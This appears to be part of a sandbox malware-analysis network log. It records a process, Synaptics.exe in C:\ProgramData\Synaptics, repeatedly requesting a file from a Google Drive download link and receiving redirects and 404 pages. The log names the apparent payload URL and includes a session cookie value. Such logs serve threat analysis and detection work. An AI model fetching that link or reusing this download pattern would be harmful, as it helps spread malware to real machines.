2025-01-02 19:11:07 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:07 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 43 4f 50 47 58 45 4d 4c 4c 74 6f 6c 42 45 57 71 78 76 78 58 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="tCOPGXEMLLtolBEWqxvxXQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:07 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	56060	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:07 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	56061	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:07 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	56062	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:07 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	56065	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:08 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:08 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lU6RYbII_8W4iV1W1tU3Sg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	56066	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:08 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:08 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce--kPwyinbBEsfsKOpA-4Zug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	56070	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:09 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-63MuqAka7UqFLRorp8k_BQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	56069	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:09 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:09 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4LA2HVD-5cQ1rAlKc9p4Hfg993XD8wIcT1_lx3-kw7IxkoHaRNIZ3QnIeVgBuKbVKg Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:09 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-u7NKBOAg4lNcKyco-WQy7Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:09 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:09 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 6d 66 5a 42 4d 69 6b 33 4b 64 5a 5a 32 51 4b 6c 6c 39 5f 43 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="omfZBMik3KdZZ2QKll9_Cg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:09 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	56072	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:09 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-NeHxPby15DTAPhCpZx1wKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	56071	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:09 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:10 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7Wv5jgM8iR9RNzlq_1XxpjE4RafpumXXrrY72iVhngtM4aCc5F3s9HeS0si5jhPE-QMi9rD-0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:09 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3GCpReAebrgwKdZYDNBs_w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:10 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:10 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 6f 42 6f 44 42 35 35 76 6b 79 68 61 52 64 50 75 76 62 66 46 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="koBoDB55vkyhaRdPuvbfFQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:10 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	56073	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:10 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:10 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:10 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3NQDP_m3jDrqxHEuvkbmMw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.7	56074	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:10 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:10 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5-hhTCwPKptxz170lqyn_QaLTnCIS5XfK3f04NQILC4b7OZqY5z6dUVdQq4mcoDIrKtQ60c7Q Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:10 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-FYYNbu7pU_elyZtSEqR1Og' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: 